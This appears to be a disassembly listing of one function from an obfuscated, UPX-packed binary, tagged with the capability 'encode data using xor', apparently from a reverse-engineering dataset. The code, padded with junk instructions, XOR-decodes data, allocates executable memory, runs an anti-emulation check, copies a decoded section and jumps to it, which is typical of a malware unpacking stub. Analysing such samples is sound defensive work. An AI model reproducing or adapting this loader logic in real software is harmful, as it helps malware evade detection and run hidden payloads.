Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x6570daea
mov esi, 0x1d9029bd
add edx, 0x14a2e594
popal
add esi, edx
or esi, edx
and esi, edx
mov ebx, 0
mov esi, ecx
sub edx, 0xf777e998
or edi, edi
mov eax, esi
add edi, edi
mov edi, 0xe42e0663
mov ecx, eax
mov edx, 0xb79c9007
and edi, edi
inc ebx
and edi, edi
dec edx
cmp ebx, 0x100543a
jne 0xa789c9
inc edx
sub edi, 0x927b1082
or esi, esi
mov esi, edx
mov eax, 0xa78796
sub edx, 0x780b4175
or ebx, ebx
mov edi, 0xa7898a
add esi, 0x9ed5d863
mov esi, ebx
mov ebx, edx
mov ecx, dword [eax]
sub esi, 1
mov esi, ebx
and ecx, 0xff
add edx, edx
not ebx
xor dword [edi], ecx
mov edx, esi
mov edx, esi
mov ebx, 0x4ab692fd
add edi, 1
mov edx, 0x8623a0e3
and edx, esi
inc eax
or esi, ebx
add esi, 0x28d5d248
or edx, esi
cmp edi, entry0
jl 0xa78a1c
add esi, 1
sub esi, 0xc826768c
and ebx, edx
or esi, ebx
mov edx, ebx
sub ebx, edx
mov edi, 0x4ae8d0cf
and edi, edx
mov ecx, 0xa7898e
mov esi, ebx
add edi, 1
mov ecx, dword [ecx]
sub edi, edx
add ebx, 0x41c049a0
mov ecx, dword [ecx]
not esi
not esi
push ecx
sub ebx, 0xf6522b03
sub edi, 0xc5a7edcf
mov ecx, 0xa7898a
sub edi, 0xed23cddc
or esi, edi
inc edi
mov ecx, dword [ecx]
dec edi
sub edx, 0xccf1cad6
mov ecx, dword [ecx]
add ebx, 0xfed4ad7a
inc ebx
sub esp, 4
mov dword [esp], 0xa78992
inc edi
add ebx, ebx
or edi, edi
call ecx
sub edx, 0x70cf94b
not ebx
pop ecx
sub edi, ebx
mov esi, edx
mov edx, ebx
push 0xa7899f
mov ebx, 0xbeae5b41
sub edi, 0xbd3bf804
sub esi, edi
push eax
add ebx, 1
sub edi, esi
not edi
call ecx
add esi, ebx
sub edi, edx
sub esp, 4
mov dword [esp], 0x40
sub edi, ebx
or edx, esi
push 0x3000
not esi
and edx, esi
push 0x20000fec
sub edx, 0x6f89ea71
sub edx, 1
inc edi
push 0
inc edi
add edx, 0xe94920aa
or ebx, edi
call eax
and edx, ebx
not esi
mov esi, 0x77331629
add eax, 0x20000f64
sub esi, edx
add esi, 0x169583a7
mov ecx, 0x6f7652dc
sub edi, 0xb579365e
sub ebx, 0x101e0ca2
mov dword [eax], ecx
dec ebx
or edi, edx
mov ecx, dword [eax]
mov ebx, 0xb28195e3
add edx, 0x4463f6d7
cmp ecx, 0x6f7652dc
je 0xa78b89
mov eax, 0
mov ebx, dword [eax]
mov edx, ebx
mov ebx, esi
or ebx, ebx
inc esi
and ebx, ebx
sub edi, edx
add esi, 1
not edx
mov ecx, section.UPX1
or edx, edx
sub esi, 1
dec edx
mov ebx, 0xa78795
not edx
sub esi, 0xba6df44a
mov eax, 0
not edx
and edx, esi
mov edi, 0xa78796
inc edx
add edx, edx
not esi
lea edi, [edi + eax]
sub esi, 1
add esi, 0x10e5aa4d
mov edi, dword [edi]
add esi, 0x28d5721a
mov esi, edx
and esi, esi
and edi, 0xff
and edx, edx
add edx, 0x55839082
inc eax
mov edx, esi
not edx
or edx, esi
cmp eax, 0x1f4
jne 0xa78c07
mov eax, 0
and esi, edx
inc edx
or esi, esi
add esi, 1
not edx
xor dword [ecx], edi
mov edx, 0xb92ce31e
add edx, edx
add ecx, 2
sub edx, esi
not esi
cmp ecx, ebx
jl 0xa78bc0
add edx, edx
add esi, 0x5e888d94
inc esi
add edx, esi
mov esi, edx
sub edx, 0x96213cdc
mov esi, section.UPX1
add edi, ecx
sub edi, 0xb7863a8b
mov ecx, 0x188392b4
mov edx, section.UPX1
mov edi, 0x2499dcd3
add ecx, ecx
mov ebx, 0xa78795
sub ecx, edi
mov edi, 0xb5df4766
mov eax, 0
not edi
sub edi, ecx
inc edi
mov al, byte [edx]
and ecx, ecx
sub ecx, edi
not ecx
mov byte [esi], al
mov ecx, 0x2c6e596f
dec edi
add edi, ecx
inc esi
or edi, ecx
add ecx, 1
dec ecx
add edx, 2
add ecx, 0xddfd999
sub edi, 0x9402661c
add ecx, edi
cmp edx, ebx
jle 0xa78c76
mov ecx, edi
sub ecx, edi
add esi, 0x8342b95a
or edx, esi
dec edx
push 0x8dc6a0
and esi, edx
or esi, edx
sub edx, 0x7d30ccc5
ret